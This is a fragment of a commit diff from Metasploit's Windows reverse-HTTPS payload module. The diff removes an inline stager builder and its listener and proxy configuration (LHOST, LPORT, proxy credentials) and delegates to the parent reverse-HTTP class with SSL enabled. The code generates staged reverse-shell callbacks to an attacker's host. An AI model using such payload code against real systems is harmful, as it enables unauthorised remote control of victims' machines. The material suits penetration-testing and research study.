|
5 | 5 |
|
6 | 6 | module Msf
|
7 | 7 |
|
8 |
| - |
9 | 8 | ###
|
10 | 9 | #
|
11 | 10 | # Complex payload generation for Windows ARCH_X86 that speak HTTPS
|
12 | 11 | #
|
13 | 12 | ###
|
14 | 13 |
|
15 |
| - |
16 | 14 | module Payload::Windows::ReverseHttps
|
17 | 15 |
|
18 | 16 | include Msf::Payload::Windows::ReverseHttp
|
19 | 17 |
|
20 |
| - # |
21 |
| - # Generate and compile the stager |
22 |
| - # |
23 |
| - def generate_reverse_https(opts={}) |
24 |
| - combined_asm = %Q^ |
25 |
| - cld ; Clear the direction flag. |
26 |
| - call start ; Call start, this pushes the address of 'api_call' onto the stack. |
27 |
| - #{asm_block_api} |
28 |
| - start: |
29 |
| - pop ebp |
30 |
| - #{asm_reverse_http(opts)} |
31 |
| - ^ |
32 |
| - Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string |
33 |
| - end |
34 |
| - |
35 | 18 | #
|
36 | 19 | # Generate the first stage
|
37 | 20 | #
|
38 | 21 | def generate
|
39 |
| - |
40 |
| - # Generate the simple version of this stager if we don't have enough space |
41 |
| - if self.available_space.nil? || required_space > self.available_space |
42 |
| - return generate_reverse_https( |
43 |
| - ssl: true, |
44 |
| - host: datastore['LHOST'], |
45 |
| - port: datastore['LPORT'], |
46 |
| - url: generate_small_uri, |
47 |
| - retry_count: datastore['StagerRetryCount']) |
48 |
| - end |
49 |
| - |
50 |
| - conf = { |
51 |
| - ssl: true, |
52 |
| - host: datastore['LHOST'], |
53 |
| - port: datastore['LPORT'], |
54 |
| - url: generate_uri, |
55 |
| - exitfunk: datastore['EXITFUNC'], |
56 |
| - proxy_host: datastore['PayloadProxyHost'], |
57 |
| - proxy_port: datastore['PayloadProxyPort'], |
58 |
| - proxy_user: datastore['PayloadProxyUser'], |
59 |
| - proxy_pass: datastore['PayloadProxyPass'], |
60 |
| - proxy_type: datastore['PayloadProxyType'], |
61 |
| - retry_count: datastore['StagerRetryCount'] |
62 |
| - } |
63 |
| - |
64 |
| - generate_reverse_https(conf) |
| 22 | + super({ :ssl => true }) |
65 | 23 | end
|
66 | 24 |
|
67 | 25 | #
|
|
0 commit comments